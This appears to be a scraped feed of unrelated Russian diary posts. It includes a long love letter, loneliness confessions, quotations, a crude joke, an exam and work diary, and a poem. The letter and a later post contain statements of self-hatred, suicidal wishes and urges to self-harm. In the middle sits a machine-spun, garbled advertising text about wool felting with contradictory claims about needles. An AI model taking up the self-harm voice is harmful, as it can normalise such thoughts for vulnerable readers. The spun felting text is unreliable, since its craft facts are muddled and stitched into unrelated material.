Я помню как уехала в дервню и ты без меня общалась с треем и еще кем то.я тогда жутко взревовала и долго плакала потом, сидя на полянке у леса и нервно дергая травинки.Мне очень жаль, что я тогда на тебя так наорала.Просто я боялась потерять тебя, что ты бросишь меня и будешь с ними.Тогда я начала уже отчетливо понимать, что не просто дружба это.А когда меня начали посещать мысли о том, как мы обнимаемся, целуемся и так дале..я поняла что все.Что сама не заметила как полюбила тебя.Меня так это напугало.Это было ново для меня и пугающе.я отгоняла эти мысли но каждую ночь они возвращались.
Как оказалось, ты испытывала тоже самое но молчала.
Я помню наши поздравляшки на "дружбовщину".Это было так мило и прекрасно..
И не задолго до моего дня рождения мы признались друг другу во всем. И ты предложила встречаться.Я была смущена, напугана и..счастлива.Ведь у меня появилась такая прекрасная девушка.У меня сохранены все твои признания в любви, все твои поздравления с др..В очередной март я съебала с практики и приехала к тебе.Тогда мы сидели на качелях в каком то дворике, держались за руки, ты лежала у меня на коленях и говорила что со стороны мы выглядим как две лесбиянки.Но мне было все равно.Мне было так хорошо..
А когда ты провожала меня, мы наконец-то сказали друг другу самые важные слова.Я тогда долго собиралась с духом, пока мы сидли на скамеечке и ждали отправления, но потом я резко поцеловала тебя в щечку и пошла на посадку.Я не знаю, что чувствовала в тот момет ты. Но мое сердце едва из груди не выпрыгивало.
А еще я помню наши твиттеры друг для друга.Где мы писали друг другу много милостей и пошлостей тоже.Точнее, тогда ты просто намекала мне на что то больше, чем поцелуи.И мы хотели обниматься и цловаться.И вот я приехала снова.Я могу путаться в хронологии, переставлять местами события..И перед тем как пройти на посадку я поцеловала тебя в губы.Ты не успела ничего понять, но я помню твои нежные губы, сладковатые на вкус..Все наши встречи были отдушиной для меня.Я ощущала себя неебически счастливой.
Я корю себя, что игнорила твои намеки насчет близости и агрессивно ответила на твой вопрос о свадьбе.Потому что потом, осенью, когда я еще и впервые с Катей увиделась, произошло сама знаешь что.У меня было ощущение, что у меня выдрали сердце из груди.Я тогда только ПОЛНОСТЬЮ осознала, какая идиотка.Как хорошо, что мы тогда помирились.И тогда мы уже осмелели и начали писать и присылать друг другу всякие пошлости..Я стеснялась, но желание тебя и любовь были сильнее смущения.Я все помню.Твои слова доводили меня до дикого возбуждения.
Я помню твой фанфик.Мне было так приятно..Я даже представляла это все..Я представляла наши занятия любовью еще до того, когда призналась в том, что хочу этого. Мы хотели быть первыми друг у друга.Я и сейчас этого безумно хочу. Мы строили планы на наш первый раз, ты писала, что хочешь меня отшлепать, что хочешь чтобы я купила себе костюмчик медсестры, что хочешь подарить мне милый наборчик и опробовать на нем.Ох, господи, я не буду писать здесь все это.Цензура цензура.Но я помню все.
Ох, милая как же я мечтала и мечтаю о том, чтобы заняться ЛЮБОВЬЮ с тобой.Почему ты не предложила скинутся и снять квартирку? почему..?
А помнишь как мы сидели под дождем, а точнее под сильным ливнем, в двух палочках на невском, укутанные в пледы и пили чай.Мне тогда ничеего не нужно было.Лишь бы этот момент продолжался вечно. У меня сохранены все твои письма.Я их порой перечитываю.Ох уж этот твой почерк. Твои подарки для меня-самые ценные вещи в мире. А в июле я приехала на день ВМФ и мы отлично погуляли.я носила твою кепку и наблюдала за тем, какая ты прекрасная.Я так люблю тебя фотографировать..у меня твоих фото на ноуте больше, чем своих.Ты такая прекрасная, нежная, женственная и чистая..Такая родная и теплая..А когда мы сидели в кофе хаузе, мы ели одно мороженое на двоих.И ты крепко сжала мою руку под столом. Ах да, мы почти всегда гуляли с тобой, держась за руки.А помнишь, как ты бегала по магазину игрушек и тыркала во все? Прекрасней тебя не было никого.Твоя улыбка освещает на сто миль вокруг.мне так уютно всегда с тобой.а как я долго ковырялась с тем, чтобы колечко спрятать в киндер, романтика и все дела.Я выбирала его хренову тучу времени.И выбрала самое красивое из всего, что видела.
Я помню, как мы покушали плотненько и пошли в кунсткамеру, дурашки ахах.Ты была в твоей кофточке с арбузиками.И когда я пишу, что хосчу арбузик, я имею в виду совсем не арбузик.А потом я плакала и ты вытирала мне растекшуюся тушь салфеткой, держа за руку. А когда мы спускались в метро-ты меня поцеловала.Два раза.Я помню твои губы на вкус.Кофейные, нежные, сладкие.Мои любимы губы.А твои руки это мой фетиш, потому что очень часто мне снится, как ты ласкаешь меня своими нежными пальчиками.Мне всегда хотелось увести тебя в укромное место и целовать, пробираясь руками под твою кофту и чувствыовать твои ласки и твое желание в ответ.
Когда ты рядом-мне хорошо, спокойно и уютно.Я ощущаю счастье.
Возможно, я не все тут написала, память то говно, но знай-я помню все.Твои объятия-самое уютное место в мире.
Я люблю тебя.И это больше, чем просто любовь.Это что то необъяснимое, настоящее, вечное.И это правда.Я чертовски хочу твоих поцелуев и хочу тебя, хочу ВСЕГО, что я писала раньше и напишу не раз.С тобой.Я люблю тебя, а ты дура.
Я чувствую, как слезы струятся по моим щекам, но я продолжаю писать.Тебе это явно не важно, ни горячо ни холодно.Но это важно мне.
Если бы можно было вернутся назад-я познакомилась бы с тобой снова.Ты часть меня, часть моей души, моя половиночка.Мы связаны ментально.И я это чувствую.
И Я НЕНАВИЖУ СЕБЯ ЗА ТО ЧТО ТАК ВЕЛА СЕБЯ.ТЫ ЭТОГО НЕЗАСЛУЖИВАЕШЬ. я не умею ненавидеть других, но я НЕНАВИЖУ СЕБЯ.Если бы можно было вернуться назад, я не стала бы себя так вести, правда.И все было бы хорошо.Ведь это я все разрушила своим поведением.Кто такое вытерпит.
А может быть я просто убила бы себя.Чтобы такой чудесный человек как ты не страдал от такой твари как я.
Ах да.Помнишь, мы выбирали тебе шапку и шарф.Мы потом ехали в метро и ты всю дорогу смотрела на меня и улыбалась.И я видела в твоих глазах любовь, черт возьми! и мне пару раз казалось, что ты наклоняешься, чтобы поцеловать меня.О черт, как же я этого хотела..
Не знаю, зачем этот выверт души.Я плачу и мне невыносимо больно.Потому что я хочу, хочу быыть с тобой, любить тебя и знать, что ты любишь меня, жить с тобой, делать всякие глупости..Но я урод, а не человек.Моральный урод, который своими ебаными руками убил свое счастье.И теперь я не знаю, куда мне деться.Хочется просто расцарапать лицо, разцарапать себя всю, добраться до сердца и вырвать его к чертовой матери.
А ты в это время ходишь на концерты с другими.Хоть бы раз предложила мне.Я ведь тоже слушаю окси..
ты так для меня важна.Я прощала и прощаю тебя.Потому что гордость и все эти принципы просто идут нахуй.ты часть моей жизни, ты мое солнце и без твоей любви мне просто не в кайф.Твоя любовь-это то, что давало мне крылья.
Я скучаю скучаю скучаю а ты все не едешь.Я люблю тебя, жду тебя, как чертов хатико и буду ждать.Надежда-это все, что у меня осталось.Для тебя делать вид, что все хорошо.А ночью выть от мыслей, как волк на луну.
Я помню все твои вкусы.Я знаю тебя лучше, чем твои родители.Ты для меня все равно МОЕ солнышко, МОЯ любовь, МОЙ котик, МОЯ любимая, МОЯ малышка..Мне хочется пинать стены и бить их кулаками.Но я просто сейчас допишу это, лягу под кровать и к черту мумий троллей, к черту весь этот мир.
Я каждую секундочку думаю о тебе, я открываю твои фото на телефоне и планшете и смотрю на тебя, такую чудесную и любимую.Я переживаю за тебя каждый чертов день.Переживаю, что ты плохо спишь, что ты можешь быть недостаточно одета и тд.И все мои "напиши когда будешь дома" и тд-это "я люблю тебя". Только ты этого не понимаешь, и думаешь, что это просто забота..Но только так я могу сказать, что ЛЮБЛЮ ТЕБЯ.
Пора заканчивать.Итак очень много вышло.Меня ждут подкроватный пол, темнота и нежность (и другие песни).

Вот если бы вас попросили назвать самые красивые части вашего тела, не считая черт лица, что бы вы ответили?

Я бы назвала кисти рук, стопы и пальцы ног, шею.

И снова после Иры с Крск на вьюи появился человек чьи посты я дочитываю до конца и чьи моменты из жизни мне правда интересны. 18+ и все такое))) ))

Мне кажется, что я из тех людей, кто "не стареет сердцем".

Посмотрим. Через тридцать лет зайду на вьюи и напишу, постарела ли я сердцем.

Никогда не игнорируй человека, который заботится больше всего о тебе. Потому что в один прекрасный день, ты можешь проснуться и понять, что потерял луну, считая звёзды.

Хочется просто идти по улице и орать всем школьникам и студентам-очникам в лицо, чтобы ценили то, что имеют!
Веселуха и беззаботные деньки у меня немногим больше, чем полгода назад кончились - теперь мне по "законам жизни" нужно становиться самостоятельной дамой, работать, женить, заводить детей. Так получается?

Я вспоминаю колледж, школу…. И грустно. Ну, колледж конечно покруче был. Мне грустно, что когда я начну работать, я не смогу уже просто пойти шляться по торговому центру и поедать глазированные сырки. Не смогу просто взять и прогулять работу.

Хватит ныть. Просто подумайте, что скоро вас ждет рабская работа :D (Особенно, если учитесь на бесполезную специальность как у меня - страховщик)

Иглы для валяния в настоящее время без труда можно купить в интернет, где продаются все нужное для рукоделия. Создают объем иглами, у которых насечки размещены в обратном стороне прокалывания. При вынимании противоположная игла цепляет за собой волокна шерсти и вынимает на поверхность. Иглы подразделяют по толщине и направлению зазубрин. Сухое валяние представляет собой заминание шерсти особенными иглами. Распространена в "обратная" игла, зазубрины которой размещены по ходу, что и направление втыкания.

Непосредственно при Вас нелепый кусок шерсти повлощается в формы и вещи. Валяние из шерсти представляет собой занимательное занятие, дарящее множество эмоций и радости. Уже давно валяние из шерсти именуют войлочной скульптурой. Захватывает плюс ко всему непосредственно методика изготовления. Игрушки, сделанные при валянии, приятные когда берешь в руки и пластичные.

Воплощение игрушек из шерсти – особая категория. На игрушках реально создать настроение, переживания. Валяные игрушки из шерсти являются роскошным презентов возлюбленным, родственникам и приятелям.

При сухом валянии шерсть спутывается при помощи специальных игл для валяния, на всей длине которых есть зазубрины, собственно которые и соединяют волокна друг с дружкой. При реализации украшений методом сухого валяния, первым делом важно изготовить отдельные элементы, а после соединить их с применением еще небольших кусочков, так же используя иглы. Для придания лучшей надежности, будет лучше эти детали сшить нитками. Сухое валяние шерсти употребляется при воплощении множества 3Д-объемных товаров: сувениров, игрушек, разнообразных украшений. Будет грамотно сразу приобрести весь список предметов для фелтинга и шерсть. Исключительность сухого валяния есть, что фактически разную помарку как излома либо выемки без проблем избежать, приваляв еще частично шерсти.

При сухом валянии шерсть множественно протыкается иглой до этапа слеживания, где в процессе волокна скрепляются друг с другом, воплощая крепкая и однородная по всей длине фактура. Мокрое валяние делается с использованием специально предназначенного или мыльного раствора, где вначале размещается изделие из шерсти, смоченное раствором, и используя трение реализуется технология валяния. Популярны два вида валяния шерсти: мокрое и сухое. Сухое валяние необходимо для реализации трехмерных поделок — редких кукол, статуэток, украшений для модниц, смешных игрушек. Мокрое валяние подходит для создания полотен, панно, одежды, одним словом, ровных изделий.

Человечество выявило умение волокон из шерсти сплетаться около 8000 лет назад. В 1900 году изобрели валяльные станки и валяльные автоматизированные прессы. Валяние происходило путем прокатывания и сплющивания шерсти или при воздействии иголок. С освоением приручения мелкого рогатого скота стало осуществимо использовать состриженную шерсть своих животных. Для валяния применяли обнаруженные остатки шерсти животных. В 1600 году появились профессиональные в своем роде ремонтные ателье по работе с войлоком.

В наше время умелыми мастерицами при валянии шерсти нередко используется шелковые волокна, префельт, всевозможные материалы для реализации фактуры, а также декоративные шаблоны для валяния из шерсти. Профессиональное валяние нуждается в особых материалах и комплектах инструментах, серьезно упрощающие процесс.

Выжимать сваляное изделие не нужно. Взятое вот здесь мокрое валяние для меня как раз кстати. Мокрое валяние шерсти - единственный в своем роде способ. В случае если волокна отлично соединились, значит продукт закончен и его следует промыть из под крана (температура воды - чуть больше комнатной). Валяние из шерсти сначала начинается с раскладывания шерсти на пленке или подстилке послойно, так, чтобы очес был однородный.

Все для валяния можно легко купить по интернету, причем, заказав все сотавляющие в одном месте, вы существенно сократите свои затраты на привозе. Валять можно как плоские, так и пространственные предметы. Валяние шерсти задача воплощения из шерсти крепких продуктов, с участием щелочного состава и многократно протыкая шерсть иглами с зазубринами. Распространено 3 типа валяния: фелтинг, сухое и мокрое.

Множество мастериц имеют для валяния из шерсти жидкий мыльный раствор, хотя можно использовать в работе и твердое. Мокрое валяние имеется в том, что масса из волокон соединяется при помощи щелочной жидкости.

Если желаете закрепить загиб, добавить шляпам жесткости либо придать сложную форму, стоит только заказать для валяния сальвитозу. По окончанию сушки сваляную шерсть применяют для воплощения разных изделий: шарфов, сумок, декоративных элементов, украшений, одежды, а также декорировать изделиями из фетра. Жидкий латекс - товар для валяния из шерсти, с помощью трафаретов и этой латексной жидкости легко выполнить на поверхности несмываемый узор. Для мокрого валяния шляп есть в ассортименте формы, при помощи которых реально изготовить запоминающийся головной убор! Для мокрого валяния одежды будет удобнее установить специальный швейный манекен, особенно, в случае если вы часто производите.

1. Берёшь бабу
2. Хватаешь за руку и ведёшь её в шаурмешную
3. Если сопротивляется, то роллов хочет.

я очень советую вам влюбиться в меня и таскать на всякие мероприятия. очерчиваю плюсы: я хорошо выгляжу, так что меня не стыдно показать, и люблю дарить цветы (у меня хороший вкус, я не буду дарить вульгарные веники). что еще. я умею по-настоящему веселиться и уходить в отрыв - обратная крайность того, что так же хорошо я умею страдать и уходить в небытие. но если вы меня будете любить, то страдать я начну только где-то недели через две, потому что мне либо надоест, либо случится очередной приход, либо я пойму, что все это мне нахуй не надо и я хочу отдать себя беззаветной платонической любви/искусству/Господу/кому угодно, кроме вас. но за две недели, думаю, я накоплю достаточный опыт посещения мероприятий для рассказов на весь год. помимо этого очевидного плюса, для меня будет, конечно, еще один плюс, а именно несколько недель непрекращающегося прихода под заглавием: 'эта смертная любовь, эти низкие предложения, эти суетные встречи - это все не мне, это не мое, зачем же я впуталась в это…'. таким образом, ваши плюсы: я ничего себе так + вы будете получать подарки. мои плюсы: +2 к трагическому образу и материал для новых историй. все в выигрыше.

Когда мне тяжело, я всегда напоминаю себе о том, что если я сдамся — лучше не станет.

© Майк Тайсон

Слишком часто мне говорили фразу "береги себя", но никто не сказал "я буду тебя беречь".

© Эльчин Сафарли

Тот, кто указывает на твои недостатки, не всегда твой враг; тот, кто говорит о твоих достоинствах, не всегда твой друг.

© Китайская пословица

Сердце кровью обливается, когда вижу посты или просто слышу о том, что косметика тестируется на животных. Эти несчастные, зажатые в тиски обезьянки, сгнившие ушки у пушистого кролика… Так больно. Жаль, что я ничего не могу изменить.

Я бы отказалась от косметики вообще, лишь бы она никогда не тестировалась на животных. Когда в этом не будет нужды, а?…

Миллионы людей решили избегать чувствительности. Они стали толстокожими, и только для того чтобы защититься, чтобы никто не мог причинить им боль. Но цена очень велика. Никто не может причинить им боли, но никто не может и сделать их счастливыми.

© Ошо

Осуждение другого всегда неверно. Потому что никто никогда не может знать, что происходило и происходит в душе того, кого осуждаешь.

© Лев Толстой

Признаюсь вам, чем дольше я живу, тем яснее понимаю, что главное в жизни — это твердо знать, чего ты хочешь, и не позволять сбить себя с толку тем, кому кажется, будто они знают лучше.

© Пэлем Грэнвил Вудхауз

Мне бы такого преподавателя по психоанализу.
Я бы не пропускала его пары.
А я и так не пропускаю.
Шикарнейший мистер Грэм!

Можно соблазнить мужчину, у которого есть жена. Можно соблазнить мужчину, у которого есть любовница, но нельзя соблазнить мужчину, у которого есть любимая женщина.

© Омар Хайям

Знали бы вы, как мне страшно!

Вокруг меня окончательно все переженились. А те, кто переженились годом ранее - сейчас дружно нарожали детей.

И, я реально отстаю. Мне 23, и я напрочь не умею строить отношения, любить, и что важно - получать любовь.

Мне правда, не дано понять, как так: вас двое и вы вместе. Я - всегда одна. Ни один человек не произносил "мы", обращаясь ко мне - а я, уже лет 10 на все падающие звезды и праздники загадываю одно: найти своих и свое.

Не сбывается.

И сейчас, когда у всех вокруг все гладко, я сильнее ощущаю это одиночество. Да ладно бы я воздушные замки строила и принца ждала, я опустила свою планку на минимум: хорошее отношение к себе, и небольшое совпадение интересов. И это мне не дано.

Каждый раз, когда едва знакомый парень, не желая, даже попытаться пообщаться, поухаживать простым вниманием (да не о деньгах и подарках речь, а о вежливости и общении сейчас) сводит все к заявлению в лоб о "- Сексе без обязательств" - я понимаю, что совсем не та девушка, о которой хотят заботиться и в которую влюбляются.

Я не распутная, не доступная, адекватная и понимающая, я просто не цепляю, и моя цена всегда так низка, что меня можно обидеть, игнорировать, требовать что-то непристойное, не стесняться рассказывать мне о бывших и почти нынешних

Я не стою и никогда не стоила заботы, тепла, восхищенного взгляда и простого "- Как прошел твой день?". Ни от парней, ни от друзей.

Все дошло до того, что я больше закрылась в себе, а ведь раньше была очень заботливой и внимательной к другим. Закрылась, понимая, что никому не ценно что-то настоящее. Закрылась и убила в себе саму себя.

Я перестала чувствовать что либо к кому-то теперь сама, ведь знаю, каждый сценарий и слово и хоть убейте, что-то внутри не сдается. Что-то не дает мне среди ненависти к работе, бесконечной череды людей думать о хорошем.

А хорошего я не вижу. Я ищу, бьюсь везде и за все, и все всегда идет мимо меня, и сейчас это дошло до предела. Я плюю ненавистью, при слове "работа", в каждом парне вижу только похоть, в друзьях - эгоизм.

Мне страшно, что так будет всегда. Страшно, так и остаться одной и в то же время, страшно упустить все. Боюсь, что еще немного, и выскочу замуж за хорошего зануду, от которого меня будет тошнить, буду продолжать таскаться на нелюбимую работу, потом рожу детей и все равно не смогу закрыть эту дыру где-то в себе.

Я просто больше не могу, это раскалывает мою голову постоянно и толкает на очень плохие мысли, о которых я не могу никому даже сказать. Мне очень страшно, что вме останется так.

Я просто хочу быть где-то и для кого-то "Своей".

Nottheend.

Для создания семьи достаточно полюбить. А для сохранения — нужно научиться терпеть и прощать.

© Мать Тереза

Сорванный цветок должен быть подарен, начатое стихотворение — дописано, а любимая женщина — счастлива, иначе и не стоило браться за то, что тебе не по силам.

© Омар Хайям

Сорванный цветок должен быть подарен, начатое стихотворение — дописано, а любимая женщина — счастлива, иначе и не стоило браться за то, что тебе не по силам.

© Омар Хайям

Трудно найти слова, когда действительно есть, что сказать.

© Эрих Мария Ремарк

снова упаднические настроения, снова хочу не быть, снова не верю, что что-нибудь когда-нибудь изменится. я мастер создавания иллюзий, и все, кто со мной более-менее близок, об этом знают. иллюзия уверенности в себе, иллюзия 'мне не скучно, мне нравится так проводить время', иллюзия 'у меня насыщенная жизнь'. когда вижу что-то интересное в интернете, ментально отмечаю это галочкой с мыслью потом вставить это в разговор, чтобы казаться осведомленной и включённой в жизнь. это уже о многом говорит. встречаюсь с мамой в кафе? говорю одногруппникам с налётом загадочности: 'у меня встреча'. не развеиваю двусмысленности, когда никита в очередной раз делает красноречивое лицо, когда я произношу слова 'моя подруга'. 'ммм, подрууууга…'. конечно, если бы сказали прямо, я бы возразила. но. иногда специально сижу вк с телефона, чтобы никто не понял, что я целыми днями сижу дома. радуюсь, когда сессия длится долго. каникулы стараюсь распланировать так, чтобы хотя бы о 2-3 событиях можно было рассказать. строю все свои рассказы и истории на 2-3 пьянках, на которых побывала, и текстовых постах с тамблера. fairytales, like all her stories.

Тэйт и Вайлет, и их biglove

Я боюсь, что мой дружок не встанет.
Поэтому я и не принимаю лекарства.
Боюсь, что он меня подведет.
А я к о е - к о г о встретил.

Так давно не читала вьюи, что сейчас, когда листала ленту, аж до 31 страницы дошла. Просто приехал Сережа + работа и было некогда. В понедельник съездила поставила экзамен, потом пошла в "Читай-город", но в нем было так холодно, что никакого удовольствия от похода я не получила. Купила две тетрадки, а блокнот так и не купила (вторник и среду работала на Говорова, на точке, которая недалеко от дома. Аж отвыкла уже там работать. А там еще же доставки и мне как всегда везло. Во вторник доставку повезли только в 10, еще и далеко, а нам же нужно дожидаться курьера, чтобы забрать деньги и закрыть кассу. В среду воообще уже после 10 поехало аж три доставки, но благо хоть все в этом районе. Но суть в том, что с этой точки я приезжала домой к тому же времени, как и с Июня. А еще в среду неожиданно пошел народ, я еще подумала "странно". Потом одна тетка забирает заказ и мне такая говорит "с наступающим", и я такая "вас тоже", а про себя думаю "че за бред? каким еще наступающим". А потом вспомнила, что 13, это ж старый НГ, ну как 31, ну и тут все срослось почему было так много народа. В итоге выручка была больше, чем в субботу. Еще в среду приехал Сережа и зашел ко мне на работу. Мы же не общались последние дни, а он мол сильно соскучился. Но у меня народа было много и я к нему не вышла. А я собиралась домой взять роллов, на 1000 за 200 рублей ;) просто у нас когда полный день работаешь можно взять либо на 250 рублей продукции нашей, либо 100 рублей наличными. И я в общем выбила себе за два дня обеды, но не съедала их. И договорилась с сушистом, что за него выбью его обеды, а ему дам по 100 руб. за два дня, как бы он взял. И в среду вечером он мне эти роллы сделал ;) в итоге после работы, пока курьер поехал отвозить доставки, мы с Сережей пошли вина купили. Ах да, еще как раз в ночь с 13 на 14, у нас с ним было 666 дней, как мы вместе ;) у меня просто эта программа на планшете, которая дни отсчитывет) дьявольское число)

На следующий день мы сели отмечать старый НГ уже с родителями. Они сделали шашлыки, сидели мы кушали, выпивали и тут зашел разговор про сауну. Мол все хотят, надо сходить. Решили, что 17 у всех выходной, тогда и поедем. Начали искать, куда можно. Нашли хорошее место и не сильно дорого. Позвонили, все узнали. Уже хотели бронировать и на след.день везти предоплату. Ну мы пошли потом с Сережей на верх и через какое-то мама позвала меня вниз и говорит "мы решили сейчас в сауну ехать, папа уже нашел, позвонил, уже нашли кто нас увезет, так что поехали!". Просто они уже выпившие были) но я чет решила, что в тот момент я ехать не хочу, да и на 17 уже настроилась. И тем более на след. день у меня же должен был быть экзамен, а я не прорешала вопросов, которые нужно было, мне надо было хоть поготовиться. Сказала, что не поедем, Сережа сказал, ну да, типа тоже на 17 настроился, что лучше сейчас дома останемся, просто поваляемся, проведем время вдвоем. Потом мама поднялась уже к нам наверх и начала нас уговаривать и Сережа уже на ее сторону перешел, потом уже и папа поднялся. Короче я сдалась и решили ехать) и вот мы вчетвером спонтанно в 9 часов вечера собрались ехать в сауну, заехали купили алкоголь, закуски. Было классно! Там была сауна, бассейн и дизайн красивый. И кстати 800 руб/час, что недорого. Сначали заказали на три часа, но потом еще на полтора продлили. Было классно и весело! Прогрелись, поныряли, потанцевали, веселились короче! А еще мы к пиву брали луковые кольца и Сережа мне на палец одел, типа предложение сделал. А потом мама такая "о давайте я по-другому вам сделаю". Взяла два этих кольца и такая "Сергей, любишь ли ты Марию? Готов ли ты ее оберегать, заботиться.." в общем в таком духе, потом тоже самое мне, и такая одела на нас кольца, только на средние пальцы, так как сказала, что все равно это пока еще не по-настоящему, а потом скрестила наши руки и сказала, что я должна съесть его кольцо, а он мое :D короче весело было)) еще, когда папа нас фотал, мама сказала, что мы красивая пара, а когда они танцевали и кто-то из нас сказал, что нифига вы зажигаете, мама сказала "чтоб вам в 50 лет такими же быть" или так же веселиться, в общем что-то в таком роде. Вообще у меня такие классные родители, я ими прям восхищаюсь! Их задором, весельем, их внешним видом, да даже этой спонтанностью. Вот мама сказала "блин я сейчас хочу в сауну" и папа позвонил и заказал, и сказал "поехали, если хочешь".

А вот на следующее утро нам нужно было на экзамен. Я абсолютно не готовилась и когда пришла учительница и сказала "сейчас я разложу билеты, потом будете заходить по одному", у меня началась небольшая паника. В итоге там был тест из 21 вопроса. У меня даже телефона нет нормального, чтобы допустим зайти в интернет, только планшет, а она сказала, что все оставлять около нее, кроме ручки. В итоге как-то написала, потом пошли в столовую. Я очень переживала. А еще за пару дней до этого в группу скидывали предварительные оценки, у меня и у еще одной девочки было больше всех баллов и стояла 4. Человек у пяти тройка, а у остальных два. И короче я переживала сильно, потому что у меня же все пятерки стоят и я очень не хотела себе 4. Я зашла вторая узнавать свои результаты. Учительница мне сказала, что экзамен у меня написан на 3, и поставить она мне может только 4. Я так сильно расстроилась. Спросила у нее, что может можно прийти пересдать в другой день. Она говорит "надо было готовиться". Я сказала, что я готовилась, что может просто вопросы попались которые я не очень знаю, хотя на самом то деле нет.. А кстати предмет называется "мировая экономика". Я еще раз спросила про пересдачу, сказала, что я не хочу 4, потому что у меня все 5, что хорошо подготовлюсь и все сдам. А она говорит, нет, пересдавать можно только двойку. И я так сильно расстроилась, отчаялась и сказала "ну ладно, ставьте 4". И тут она берет мою зачетку, делает паузу и говорит "ладно, я поставлю вам 5, только всем скажете, что экзамен вы написали на 4". В один момент я этому очень обрадовалась и я много раз сказала "большое спасибо". Но потом, когда я вышла и все меня спросили "ну, что она поставила?", я сказала "5" и у всех такая реакция была, мол "о нифига ты молодец", все так бурно на это отреагировали. А мне на душе стало так стремно, потому что я то знаю, что это незаслуженная оценка. И даже Сереже на стала сначала рассказывать, потом только вечером рассказала, когда уже спать легли. И тут тоже не хотела писать об этом. Просто у меня было чувство, что он и вы подумаете, что я тупая, что просто так получила оценку отличную, не готовившись, что я выпросила эту оценку, что может я неправду сказала, хотя вроде как понимаю, что Сережа бы так точно не подумал. Просто все мои предыдущие оценки были заслужены и не было сомнений в оценке 5. А тут… И я себя от этого так некомфортно чувствую. Может от того, что для меня всегда есть принцип, что всего должна сама добиваться, не люблю когда мне помогают, всегда сама все. И очень редко я кого-то о чем-то прошу. И любой другой радовался бы на моем месте. А я нет. И мне аж обидно, что мне не разрешили пересдать, я ведь не просила, чтоб мне ее просто так поставили. Это только ее решение. А еще обидно, что я ведь хотела поготовиться, а вместо этого поехали в сауну. И кстати я родителям я тоже просто сказала, что получила и не вдавалась в подробности.

Остался еще один экзамен по финансовому менедменту. Будет 21-ого. Вот он жесткий и к нему надо будет готовиться. А 20-ого будет защита работ, которые в декабре не защитили, когда она заболела, когда я эту работу до 5 утра доделывала.

А после того экзаменя я поехала к 4 на работу. Там у нас была маркетолог, проверяла работу кассиров. Посидела у нас часа 2-3. Когда уходила поспрашивала меня по регламенту. Сказала, что замечаний у нее нет, что ей понравилось, как я работаю, что улыбаюсь, предлагаю, вежливая и т.д, в общем молодец. Мне в очередной раз так приятно стало. А вчера приезжал директор с замом. Ну, директор особо ничего не говорил, так, ходил смотрел, спрашивал, как идут продажи. Решила на этот раз у зама спросить, долго ли мне еще стоять ни Июне, а он с таким ехидным лицом спросил "А что именно тебя не устраивает?", ну может он думал что мне тяжело. Я сказала ему, что меня все устраивает, но я живу за городом и мне долго добираться, что лучше было бы мне стоять на Говорова. Он сначала сказал, что с той стороны нас много, ну что там уже есть кому стоять. Я сказала, что может как-то чередовать хотя бы. А он потом сказал "ну понимаешь, тут нужен такой человек..просто остальные не потянут, да и здесь должен быть позитивный человек, к которому захочется подойти", ну я спросила про Каныкей и Катю, девочки, которые на Говорова работают, ведь там то тоже не слабая точка. Он сказал, что Каныкей может не потянуть, да и грубовата она, а Катя мооожет и потянет, но, да, она веселая девочка, но черезчур. Не знаю, что это означало. Но одно я поняла точно в очередной раз, что в приоритете я. А потом он сказал, что так как это фудкорт и самая главная точка, то на нее в основном определяет директор, ну то есть он решает кого поставить. И тут мне прям вообще приятно стало, что получается даже директор меня оценивает, как хорошего сотрудника, а я его видела то раза три. Все хорошо. Но на всем этом фоне с Сережей поругались, он считает, что раз они так хорошо меня расценивают и раз они хотят чтобы я там работала на этой точке, то они мне и з/п должны поднимать и домой возить, что типа компания такая плохая, только слова говорят. А мне так обидно стало, нет чтобы наоборот похвалить и сказать, что я молодец, что у меня все хорошо складывается. Хотя, он конечно хвалил и много раз говорил, что гордится мной. Но просто в этот раз меня это прям выбесило, как будто он не понимает, что это такое работать нанятым сотрудником. Мне и так недавно поднимали з/п, да и я не считаю, что она у меня прям маленькая. Нормальная. И тем более я тут у маркетолога спрашивала, она сказала, что когда у меня будет стаж полгода я могу повышаться на первую категорию, а это уже 125 руб/час. А полгода у меня будет 13 марта. Я хочу в начале марта сказать, чтоб они начали проверять меня, смотреть на мою работу и с 15 уже заработать новую категорию.

Вот такие у меня дела. Сильно большой пост получился, наверное, даже мало кто дочитает) тем более наверняка это все не так уж и интересно, но для меня важно оставить эти мысли. Я в этом году решила побольше описывать того, что у меня в жизни происходит, все моменты и мелочи. Завтра поеду получать з/п, а в планах кое-что еще, о чем пока не хочу говорить.

Не буду ныть в очередной раз, как меня все достало, я не дура, прекрасно понимаю, что половину из тех проблем в которых я сейчас варюсь я выдумала сама, но осознавая этот факт мне не становится легче! Я так же продолжаю нихрена не делать рассчитывая, что все рассосется само… но ЭТО НЕ ТАК.

Но…пост же не об этом, я тут типо позитвная Вода :)

Сегодня провела весь день дома, погода сучка подвела, проспала до 12, потом позвонила по-поводу работы, где странный мужчина, пояснил мне, что все это сплошное надувательство, в общем разочаровашки: (

Вот спрашивается…зачем предлогать работу, но не уточнять при подачи обявления, какая конкретно нужна вакансия и что тебя там ждут, только если в качестве промоутера?!Бред!

После столь содержательного диалога со странным мужчиной, я вдруг решила начать ПП, собралась и поехала в магазин за продуктами. Завтрак думаю начать с ленивой овсянки, никогда раньше ее не делала..решила попробовать купив в супермаркете офигенную баночку…и да, мне 21 и я скупаю хлам!)

Свое будующее сильной и не зависимой, я вижу барохольщицей в компании 9 лабриков.

Мне все говорят, что мне вредно сидеть дома дольше двух дней…начинаю бред нести.

Вези меня ледянка в детство,
Где мне совсем не больно падать,
Где «Чур» от всех напастей средство,
Где каждая снежинка — радость…
Где папа — молодой и сильный,
Где плакать хочется без мамы,
Где лес и розовый, и синий,
И Дед Мороз такой румяный…
Где ничего вкусней сосульки,
Где сам себе игрушки клеишь,
Где каша манная в кастрюльке
Где апельсин, когда болеешь.
Где горькая микстура в ложке,
Где с пенкой молоко в стакане,
Где в плед завернутая кошка,
Где тетя Валя на экране.
Где счастье — если мама дома,
Где горе — если спать ложиться,
И ничего ценней альбома,
И ничего страшнее «Мыться!»
Где мандарины пахнут ёлкой,
Где под столами новоселье,
Где нос кусает шарфик колкий,
Где угол — плата за веселье…
Где примерзают руки к санкам
И где еще не стыдно плакать…
Вези меня вперед, ледянка!
Ты знаешь, я умею падать!!!

Сегодня была на первой тренировке…сейчас надо бы встать, взять гитару, разобрать мелодию..а я - не могу. Мне кажется, завтра я не встану утром с постели, и это была "Вводная, легкая тренировка", но я счастливый как никто!!! Чертовски скучала по этим ощущениям в теле и счастью, которое будто бы разливается по венам после тренировки. А тренер мой - ШИКАРНЫЙ!!! Даешь стройную фигуру! Nottheend.

не то, что бы ты мне совсем безразлична -
ты очень хорошая, как ни крути!
